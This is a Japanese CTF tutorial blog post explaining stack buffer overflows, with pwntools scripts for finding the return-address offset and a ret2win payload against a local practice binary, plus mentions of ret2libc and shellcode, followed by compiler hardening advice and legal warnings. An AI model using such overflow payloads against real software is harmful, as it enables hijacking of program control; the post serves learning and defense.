【スタックBoF基礎編】ret書き換えとret2winで初Pwn成功する|CTF思考フレームワーク #59
広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

スタックBoF(バッファオーバーフロー)って、聞いたことある!🛑

Pwnの古典中の古典。スタックに置かれた配列に長すぎる文字列を書き込み、返り値(return address)を上書きする攻撃。「ret書き換え」と「ret2win」のシナリオで、最初のPwn成功体験ができます。
スタックバッファオーバーフロー(Stack BoF)は、1988年のMorris Worm以来35年以上、現役の脆弱性。C/C++の char buf[64]; gets(buf); のような無防備な実装に長文字列を入れると、return address を書き換えて任意のコード実行へつなげられます。今もIoTファームウェアで多数発見されています。

35年も続いてる古典的バグなんだ…
この記事は、CTF思考フレームワーク第59回。スタックBoFの仕組みと、ret書き換え・ret2win の典型シナリオ、GDB/pwntools を使った実践、Canary・PIE などの保護機構の影響を整理します。
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 #59 / 全86記事 → シリーズ一覧を見る →
💥 Pwnの登竜門、Stack Buffer Overflow。スタック上の配列を超えて書き込み、戻り番地を奪う。Hello Worldの次に世界中の入門者が触る「制御フロー乗っ取り」の最古典です。
スタックBOFの肝は「バッファとリターンアドレスの距離」「カナリア有無」「NX有効か」。Canaryありなら漏洩から、NXありならROPへ。最初の一発は「ret2win」で十分です。
ret書き換えとret2winで初Pwnを成功させます🎯

スタックBoFは「buffer長を無視して書き込む→retアドレス改ざん」がコア🎯
先に意味を押さえておくと読みやすい用語です。
- CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
- Pwn: バイナリの不備を突いてプログラムの制御を奪うCTF分野です。
- ROP: 既存コードの断片をつなぎ、攻撃用の処理を作る高度な手法です。
- スタック: 関数呼び出しや一時データを積み上げて管理するメモリ領域です。
👀 観察フェーズ:まず何を見る?

checksecでCanaryなしNX有効PIEなしのバイナリは絶好の練習台🔍
バイナリの保護を確認、続いてstringsやobjdumpで目的関数(win/secret/admin等)を探します。脆弱関数(gets/strcpy/scanf)の存在も要確認。
- checksec:Canary / NX / PIE / RELRO
- 脆弱関数:
gets,strcpy,scanf %s - 目的関数(win, secret, get_flag等)の存在
- バッファサイズと return 位置の距離
cyclicパターンでオフセット推定- libc使用の有無(ret2libcの伏線)

cyclicでret到達オフセットを測るのが最初の儀式だね💡
🤔 仮説フェーズ:攻撃者は何を考える?

スタックBoF基本攻略の4ステップ。
🕶️ 攻撃者は「Canaryなし+目的関数あり=ret2win一直線」「Canaryあり=漏洩経路(FormatStringやprintf)が必要」「NXあり=ROP」「PIEあり=アドレス漏洩が前提」と素早く分類します。
📏 仮説①:オフセット特定
cyclicパターン→クラッシュ→RSP/RIP値からcyclic_findで逆引き。これでretまでの距離が判明。
🎯 仮説②:ret2win
勝利関数win()のアドレスにretでジャンプ。最も基本的な制御奪取。
🐚 仮説③:ret2libc
libcのsystem("/bin/sh")を呼び出す古典。アーキにより引数渡しが違う(x64ならrdi)。
⚙️ 仮説④:シェルコード実行
NX無効ならスタックにシェルコードを置いてretでジャンプ。NXがあると不可。

スタックBoFは「Pwn入門の通過儀礼」。これができたら世界が広がる💡
🔬 検証フェーズ:どうやって確かめる?

pwntoolsでp64()を使ってスタック構築→ローカル先デバッグ→リモート展開の手順🧪
pwntoolsのcyclicでオフセットを取り、retポイントを確実に書き換えられるか確認。漏洩→アドレス計算→2回目の入力で本攻撃、というパターンも頻出。
# pwntoolsでcyclicテスト
from pwn import *
p = process('./chall')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8))
print(offset) # 例:72

スタックアラインメントでmovapsクラッシュした時はretガジェット1個追加するんだね💡
⚔️ 攻撃フェーズ:実際の手口

基本BoF攻撃3パターン。
基本exploit:①パディングでバッファ埋める、②カナリア(あれば)をリーク値で再現、③saved rbpを適当に、④戻り番地に win 関数のアドレス。x64ではアラインに注意(要 ret gadget 1個)。
# ret2win(最シンプル)
from pwn import *
elf = ELF('./chall')
p = process('./chall')
win = elf.symbols['win']
payload = b'A' * 72 + p64(0xdeadbeef) + p64(win)
p.sendline(payload)
p.interactive()
# x64のmovaps対策で ret gadget を1個挟む
payload = b'A' * 72 + p64(0) + p64(ret_gadget) + p64(win)
x64でsystem呼び出しが落ちる原因の多くは movaps アライメント。retガジェット1個挟むだけで解決します🪄
バイナリ内の勝利関数を呼ぶ。PIEなしなら静的アドレスでそのまま指定可能。
pop rdi; retガジェットで引数を準備して system()呼び出し。x64の最頻出パターン。
一度のBoFでreadを呼び出して大きなペイロードを書き込み、その後実行。長いROPを段階的に。
🛡️ 防御フェーズ:どう守る?

BoF対策の鉄則3つ。
スタックBOF防御は層状。Canary・NX・PIE・FORTIFY_SOURCE・shadow stack。コンパイラの推奨設定を全部ONにすれば、純粋な古典BOFはほぼ通らなくなります。
- -fstack-protector-strong または -fstack-protector-all
- -D_FORTIFY_SOURCE=2
- NX (-z noexecstack)
- -fpie -pie(PIE有効)
- -fcf-protection=full(CET)
- gets/strcpy/scanf %s の使用禁止(lint・SAST)
リターンアドレスの直前に乱数ガードを置き、関数戻り時に検証。BoFを即検知。
スタックを実行不可にしてシェルコードを死語化。
アドレスをランダム化してret2libc難易度を激増。

これら3つの標準保護を全部有効にすればスタックBoFは大半が死ぬ💪
🧪 pwn検証用のLinuxラボ
Pwnやエクスプロイトの練習は、必ず自分の検証環境で。💻 ConoHa VPSならLinuxをワンクリックで立てて、gdb-pedaやpwntoolsを仕込んでそのままトレーニングできます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
- cyclicでオフセットを取らず手計算してズレる
- x64でmovaps落ちを忘れret gadgetを挟まない
- PIE有効を無視して絶対アドレスを使う
- Canary検知を「Canary値ランダムだから無理」で諦め、漏洩経路を探さない
- sendとsendlineの末尾改行を間違える
- process()とremote()の挙動差を意識しない
🧰 ツール早見表
| ツール | 用途 | 備考 |
|---|---|---|
| pwntools | exploit骨格 | cyclic/ELF/process |
| gdb + pwndbg | デバッグ | core dump解析も |
| checksec | 保護機構確認 | 初手の儀式 |
| ROPgadget | gadget抽出 | 汎用 |
| one_gadget | libc内のexecve(“/bin/sh”) | leak後の決め技 |
🎓 本気で学びたい人へ
ローレベルやOSレベルの許可を、仕事として深く学びたい方へ。🎓 ササエルはインフラとセキュリティの両方を学べるスクールです。
📚 もっと深く学びたい人へ
実際に手を動かして攻撃手法を体で覚えたいなら『7日間でハッキングをはじめる本 TryHackMe』がおすすめ📚
📚 次に読みたい
- Pwn入門編(asm/呼出規約)|CTF思考フレームワーク #58
- ROP入門編|CTF思考フレームワーク #60
- 楕円曲線・近代暗号編|CTF思考フレームワーク #57
- GOT・Format String編|CTF思考フレームワーク #61
✍️ 学んだことを発信する
検証ノートをブログで公開したい方は、高速で安価なConoHa WINGが使いやすいです。
⚖️ 大事なお約束
この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝
この記事は合法な学習・防御目的での解説です。許可のないシステムへの攻撃は犯罪になります(不正アクセス禁止法ほか)。検証は必ず自分が管理する環境・CTF・公式ハンズオンで行ってください🙏



